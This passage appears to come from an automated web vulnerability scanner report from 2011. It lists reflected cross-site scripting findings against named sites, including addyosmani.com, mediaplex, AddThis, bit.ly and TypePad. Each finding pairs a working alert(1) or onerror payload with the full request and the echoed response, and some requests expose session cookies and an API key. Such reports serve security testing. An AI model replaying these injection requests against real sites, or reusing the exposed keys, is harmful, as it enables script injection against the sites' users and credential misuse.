Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:36 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:36 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes375e4\"><script>alert(1)</script>7c7d83dd3d9/js/thickbox/thickbox.js?ver=3.1-20100407"/>
...[SNIP]...

1.47. http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/thickbox/thickbox.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b8c7"><script>alert(1)</script>2f2e85b9e43 was submitted in the REST URL parameter 3. This input was echoed as 4b8c7\"><script>alert(1)</script>2f2e85b9e43 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes/js4b8c7"><script>alert(1)</script>2f2e85b9e43/thickbox/thickbox.js?ver=3.1-20100407 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes/js4b8c7\"><script>alert(1)</script>2f2e85b9e43/thickbox/thickbox.js?ver=3.1-20100407"/>
...[SNIP]...

1.48. http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/thickbox/thickbox.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0283"><script>alert(1)</script>20365640c07 was submitted in the REST URL parameter 4. This input was echoed as f0283\"><script>alert(1)</script>20365640c07 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes/js/thickboxf0283"><script>alert(1)</script>20365640c07/thickbox.js?ver=3.1-20100407 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:43 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes/js/thickboxf0283\"><script>alert(1)</script>20365640c07/thickbox.js?ver=3.1-20100407"/>
...[SNIP]...

1.49. http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://addyosmani.com
Path:	/blog/wp-includes/js/thickbox/thickbox.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ec63"><script>alert(1)</script>8f78decd4a6 was submitted in the REST URL parameter 5. This input was echoed as 3ec63\"><script>alert(1)</script>8f78decd4a6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blog/wp-includes/js/thickbox/thickbox.js3ec63"><script>alert(1)</script>8f78decd4a6?ver=3.1-20100407 HTTP/1.1
Host: addyosmani.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=bf568d6e53faae5c61af487f77294103

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:31:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.9
Vary: Cookie,Accept-Encoding
X-Pingback: http://addyosmani.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:31:47 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 21150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://addyosmani.com/blog/wp-includes/js/thickbox/thickbox.js3ec63\"><script>alert(1)</script>8f78decd4a6?ver=3.1-20100407"/>
...[SNIP]...

1.50. http://altfarm.mediaplex.com/ad/js/1551-47634-16084-8 [mpt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/1551-47634-16084-8

Issue detail

The value of the mpt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fab29'-alert(1)-'01f2172dd5f was submitted in the mpt parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ad/js/1551-47634-16084-8?mpt=1297260344fab29'-alert(1)-'01f2172dd5f&mpvc=http://ib.adnxs.com/click/PDw8vLS09D8AAACgmZnxPwAAAKCZmfE_j8L1KFyP_D_NzMzMzMwAQN2ItFYBFaMhBWHfHSmrEEI4n1JNAAAAABmRAwA2AQAAHQIAAAIAAACp1AIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEtAQAAQUCAAIAAAAAHCRWxAAAAAA./cnd=!2BlmBwi--gIQqakLGAAg5NUBKOcJMczMzMzMzABAQhMIABAAGAAgASj-__________8BQgsIikkQABgAIAMoAUgAUABYqANgAGidBA../referrer=http%3A%2F%2Ftechnorati.com%2Fcontact-us%2F/clickenc= HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=PDw8vLS09D8AAACgmZnxPwAAAKCZmfE_j8L1KFyP_D_NzMzMzMwAQN2ItFYBFaMhBWHfHSmrEEI4n1JNAAAAABmRAwA2AQAAHQIAAAIAAACp1AIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEtAQAAgUCAAIAAAAAHSRnxAAAAAA.&udj=uf%28%27a%27%2C+6788%2C+1297260344%29%3Buf%28%27g%27%2C+21129%2C+1297260344%29%3Buf%28%27r%27%2C+185513%2C+1297260344%29%3Bppv%289354%2C+%272423804119949281501%27%2C+1297260344%2C+1298469944%2C+48446%2C+27364%29%3B&cnd=!2BlmBwi--gIQqakLGAAg5NUBKOcJMczMzMzMzABAQhMIABAAGAAgASj-__________8BQgsIikkQABgAIAMoAUgAUABYqANgAGidBA..&referrer=http://technorati.com/contact-us/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=1551:16084/17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/11293:3113; mojo2=12109:6166

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Content-Type: text/html
Content-Length: 592
Date: Wed, 09 Feb 2011 14:08:33 GMT

document.write('<a target="_blank" href="http://ib.adnxs.com/click/PDw8vLS09D8AAACgmZnxPwAAAKCZmfE_j8L1KFyP_D_NzMzMzMwAQN2ItFYBFaMhBWHfHSmrEEI4n1JNAAAAABmRAwA2AQAAHQIAAAIAAACp1AIA5GoAAAEAAABVU0QAVVNEA
...[SNIP]...
KOcJMczMzMzMzABAQhMIABAAGAAgASj-__________8BQgsIikkQABgAIAMoAUgAUABYqANgAGidBA../referrer=http://technorati.com/contact-us//clickenc=http://altfarm.mediaplex.com/ad/ck/1551-47634-16084-8?mpt=1297260344fab29'-alert(1)-'01f2172dd5f">
...[SNIP]...

1.51. http://altfarm.mediaplex.com/ad/js/1551-47634-16084-8 [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/1551-47634-16084-8

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 84fc8'%3balert(1)//dd88c5f60fb was submitted in the mpvc parameter. This input was echoed as 84fc8';alert(1)//dd88c5f60fb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ad/js/1551-47634-16084-8?mpt=1297260344&mpvc=http://ib.adnxs.com/click/PDw8vLS09D8AAACgmZnxPwAAAKCZmfE_j8L1KFyP_D_NzMzMzMwAQN2ItFYBFaMhBWHfHSmrEEI4n1JNAAAAABmRAwA2AQAAHQIAAAIAAACp1AIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEtAQAAQUCAAIAAAAAHCRWxAAAAAA./cnd=!2BlmBwi--gIQqakLGAAg5NUBKOcJMczMzMzMzABAQhMIABAAGAAgASj-__________8BQgsIikkQABgAIAMoAUgAUABYqANgAGidBA../referrer=http%3A%2F%2Ftechnorati.com%2Fcontact-us%2F/clickenc=84fc8'%3balert(1)//dd88c5f60fb HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=PDw8vLS09D8AAACgmZnxPwAAAKCZmfE_j8L1KFyP_D_NzMzMzMwAQN2ItFYBFaMhBWHfHSmrEEI4n1JNAAAAABmRAwA2AQAAHQIAAAIAAACp1AIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEtAQAAgUCAAIAAAAAHSRnxAAAAAA.&udj=uf%28%27a%27%2C+6788%2C+1297260344%29%3Buf%28%27g%27%2C+21129%2C+1297260344%29%3Buf%28%27r%27%2C+185513%2C+1297260344%29%3Bppv%289354%2C+%272423804119949281501%27%2C+1297260344%2C+1298469944%2C+48446%2C+27364%29%3B&cnd=!2BlmBwi--gIQqakLGAAg5NUBKOcJMczMzMzMzABAQhMIABAAGAAgASj-__________8BQgsIikkQABgAIAMoAUgAUABYqANgAGidBA..&referrer=http://technorati.com/contact-us/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=1551:16084/17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/11293:3113; mojo2=12109:6166

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Content-Type: text/html
Content-Length: 592
Date: Wed, 09 Feb 2011 14:08:34 GMT

document.write('<a target="_blank" href="http://ib.adnxs.com/click/PDw8vLS09D8AAACgmZnxPwAAAKCZmfE_j8L1KFyP_D_NzMzMzMwAQN2ItFYBFaMhBWHfHSmrEEI4n1JNAAAAABmRAwA2AQAAHQIAAAIAAACp1AIA5GoAAAEAAABVU0QAVVNEA
...[SNIP]...
wB-gCoAecEtAQAAQUCAAIAAAAAHCRWxAAAAAA./cnd=!2BlmBwi--gIQqakLGAAg5NUBKOcJMczMzMzMzABAQhMIABAAGAAgASj-__________8BQgsIikkQABgAIAMoAUgAUABYqANgAGidBA../referrer=http://technorati.com/contact-us//clickenc=84fc8';alert(1)//dd88c5f60fbhttp://altfarm.mediaplex.com/ad/ck/1551-47634-16084-8?mpt=1297260344">
...[SNIP]...

1.52. http://altfarm.mediaplex.com/ad/js/1551-47634-16084-8 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/1551-47634-16084-8

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 39878'%3balert(1)//4fc5e08aefa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 39878';alert(1)//4fc5e08aefa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ad/js/1551-47634-16084-8?mpt=1297260344&mpvc=http://ib.adnxs.com/click/PDw8vLS09D8AAACgmZnxPwAAAKCZmfE_j8L1KFyP_D_NzMzMzMwAQN2ItFYBFaMhBWHfHSmrEEI4n1JNAAAAABmRAwA2AQAAHQIAAAIAAACp1AIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEtAQAAQUCAAIAAAAAHCRWxAAAAAA./cnd=!2BlmBwi--gIQqakLGAAg5NUBKOcJMczMzMzMzABAQhMIABAAGAAgASj-__________8BQgsIikkQABgAIAMoAUgAUABYqANgAGidBA../referrer=http%3A%2F%2Ftechnorati.com%2Fcontact-us%2F/clickenc=&39878'%3balert(1)//4fc5e08aefa=1 HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=PDw8vLS09D8AAACgmZnxPwAAAKCZmfE_j8L1KFyP_D_NzMzMzMwAQN2ItFYBFaMhBWHfHSmrEEI4n1JNAAAAABmRAwA2AQAAHQIAAAIAAACp1AIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEtAQAAgUCAAIAAAAAHSRnxAAAAAA.&udj=uf%28%27a%27%2C+6788%2C+1297260344%29%3Buf%28%27g%27%2C+21129%2C+1297260344%29%3Buf%28%27r%27%2C+185513%2C+1297260344%29%3Bppv%289354%2C+%272423804119949281501%27%2C+1297260344%2C+1298469944%2C+48446%2C+27364%29%3B&cnd=!2BlmBwi--gIQqakLGAAg5NUBKOcJMczMzMzMzABAQhMIABAAGAAgASj-__________8BQgsIikkQABgAIAMoAUgAUABYqANgAGidBA..&referrer=http://technorati.com/contact-us/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=1551:16084/17339:3601/14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/11293:3113; mojo2=12109:6166

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Content-Type: text/html
Content-Length: 595
Date: Wed, 09 Feb 2011 14:08:36 GMT

document.write('<a target="_blank" href="http://ib.adnxs.com/click/PDw8vLS09D8AAACgmZnxPwAAAKCZmfE_j8L1KFyP_D_NzMzMzMwAQN2ItFYBFaMhBWHfHSmrEEI4n1JNAAAAABmRAwA2AQAAHQIAAAIAAACp1AIA5GoAAAEAAABVU0QAVVNEA
...[SNIP]...
B-gCoAecEtAQAAQUCAAIAAAAAHCRWxAAAAAA./cnd=!2BlmBwi--gIQqakLGAAg5NUBKOcJMczMzMzMzABAQhMIABAAGAAgASj-__________8BQgsIikkQABgAIAMoAUgAUABYqANgAGidBA../referrer=http://technorati.com/contact-us//clickenc=&39878';alert(1)//4fc5e08aefa=1http://altfarm.mediaplex.com/ad/ck/1551-47634-16084-8?mpt=1297260344">
...[SNIP]...

1.53. http://api-public.addthis.com/url/shares.json [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api-public.addthis.com
Path:	/url/shares.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload f5701<script>alert(1)</script>5c382736caa was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /url/shares.json?url=http%3A%2F%2Fxhtml.co.il%2F%2Fru%2FjQuery%2F%25D0%259F%25D0%25BE%25D0%25B6%25D0%25B5%25D1%2580%25D1%2582%25D0%25B2%25D0%25BE%25D0%25B2%25D0%25B0%25D1%2582%25D1%258C-%25D0%25BD%25D0%25B0-%25D0%25BF%25D1%2580%25D0%25BE%25D0%25B5%25D0%25BA%25D1%2582&callback=_ate.cbs.sc_httpxhtmlcoilrujQuery25D0259F25D025BE25D025B625D025B525D1258025D1258225D025B225D025BE25D025B225D025B025D1258225D1258C25D025BD25D025B025D025BF25D1258025D025BE25D025B525D025BA25D12582f5701<script>alert(1)</script>5c382736caa HTTP/1.1
Host: api-public.addthis.com
Proxy-Connection: keep-alive
Referer: http://xhtml.co.il/ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; uid=4d1ec56b7612a62c; psc=0; dt=X; di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1297258169.60|1296659685.66

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=300
Content-Type: application/javascript;charset=UTF-8
Date: Wed, 09 Feb 2011 13:30:20 GMT
Content-Length: 249
Connection: close

_ate.cbs.sc_httpxhtmlcoilrujQuery25D0259F25D025BE25D025B625D025B525D1258025D1258225D025B225D025BE25D025B225D025B025D1258225D1258C25D025BD25D025B025D025BF25D1258025D025BE25D025B525D025BA25D12582f5701<script>alert(1)</script>5c382736caa({"shares":0});

1.54. http://api.bit.ly/v3/clicks [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bit.ly
Path:	/v3/clicks

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload ab034<script>alert(1)</script>77df4789a25 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3/clicks?callback=BitlyCB._cb_._1ab034<script>alert(1)</script>77df4789a25&hash=gieIvT&login=retweetjs&apiKey=R_6287c92ecaf9efc6f39e4f33bdbf80b1&client=bitly-javascript-api HTTP/1.1
Host: api.bit.ly
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:56 GMT
Content-Type: application/javascript; charset=utf-8
Connection: keep-alive
Content-Length: 228
Etag: "6eaaf4608cfb2c1b81417046fb23c1b41c06a86e"

BitlyCB._cb_._1ab034<script>alert(1)</script>77df4789a25({"status_code": 200, "data": {"clicks": [{"user_clicks": 7, "global_hash": "gteAat", "hash": "gieIvT", "user_hash": "gieIvT", "global_clicks": 350}]}, "status_txt": "OK"})

1.55. http://api.bit.ly/v3/clicks [hash parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bit.ly
Path:	/v3/clicks

Issue detail

The value of the hash request parameter is copied into the HTML document as plain text between tags. The payload da6f7<script>alert(1)</script>bd4549a5895 was submitted in the hash parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3/clicks?callback=BitlyCB._cb_._1&hash=gieIvTda6f7<script>alert(1)</script>bd4549a5895&login=retweetjs&apiKey=R_6287c92ecaf9efc6f39e4f33bdbf80b1&client=bitly-javascript-api HTTP/1.1
Host: api.bit.ly
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:58 GMT
Content-Type: application/javascript; charset=utf-8
Connection: keep-alive
Content-Length: 162
Etag: "92132319e161a08b07ec905a27afdd89d4efe6c5"

BitlyCB._cb_._1({"status_code": 200, "data": {"clicks": [{"hash": "gieIvTda6f7<script>alert(1)</script>bd4549a5895", "error": "NOT_FOUND"}]}, "status_txt": "OK"})

1.56. http://api.bit.ly/v3/shorten [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bit.ly
Path:	/v3/shorten

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload e31ab<script>alert(1)</script>d5370509003 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3/shorten?callback=BitlyCB._cb_._0e31ab<script>alert(1)</script>d5370509003&longUrl=http%3A%2F%2Faddyosmani.com%2Fblog%2Fvideo-jquerysub-explained%2F&login=retweetjs&apiKey=R_6287c92ecaf9efc6f39e4f33bdbf80b1&client=bitly-javascript-api HTTP/1.1
Host: api.bit.ly
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:56 GMT
Content-Type: application/javascript; charset=utf-8
Connection: keep-alive
MIME-Version: 1.0
Content-Length: 279

BitlyCB._cb_._0e31ab<script>alert(1)</script>d5370509003({ "status_code": 200, "status_txt": "OK", "data": { "long_url": "http:\/\/addyosmani.com\/blog\/video-jquerysub-explained\/", "url": "http:\/\/bit.ly\/gieIvT", "hash": "gieIvT", "global_hash": "gteAat
...[SNIP]...

1.57. http://api.bit.ly/v3/shorten [longUrl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bit.ly
Path:	/v3/shorten

Issue detail

The value of the longUrl request parameter is copied into the HTML document as plain text between tags. The payload 526ba<img%20src%3da%20onerror%3dalert(1)>1d168719f2c was submitted in the longUrl parameter. This input was echoed as 526ba<img src=a onerror=alert(1)>1d168719f2c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /v3/shorten?callback=BitlyCB._cb_._0&longUrl=http%3A%2F%2Faddyosmani.com%2Fblog%2Fvideo-jquerysub-explained%2F526ba<img%20src%3da%20onerror%3dalert(1)>1d168719f2c&login=retweetjs&apiKey=R_6287c92ecaf9efc6f39e4f33bdbf80b1&client=bitly-javascript-api HTTP/1.1
Host: api.bit.ly
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:32:07 GMT
Content-Type: application/javascript; charset=utf-8
Connection: keep-alive
MIME-Version: 1.0
Content-Length: 282

BitlyCB._cb_._0({ "status_code": 200, "status_txt": "OK", "data": { "long_url": "http:\/\/addyosmani.com\/blog\/video-jquerysub-explained\/526ba<img src=a onerror=alert(1)>1d168719f2c", "url": "http:\/\/bit.ly\/eJxttl", "hash": "eJxttl", "global_hash": "hT5aoW", "new_hash": 1 } })

1.58. http://api.typepad.com/blogs/6a00d83451c82369e200d8341d0a2453ef/post-assets/@published/@recent.js [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.typepad.com
Path:	/blogs/6a00d83451c82369e200d8341d0a2453ef/post-assets/@published/@recent.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 10983<script>alert(1)</script>a859f55dcf4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blogs/6a00d83451c82369e200d8341d0a2453ef/post-assets/@published/@recent.js?callback=jsonp1297262343116&max-results=3&10983<script>alert(1)</script>a859f55dcf4=1 HTTP/1.1
Host: api.typepad.com
Proxy-Connection: keep-alive
Referer: http://www.typepad.com/
Accept: */*
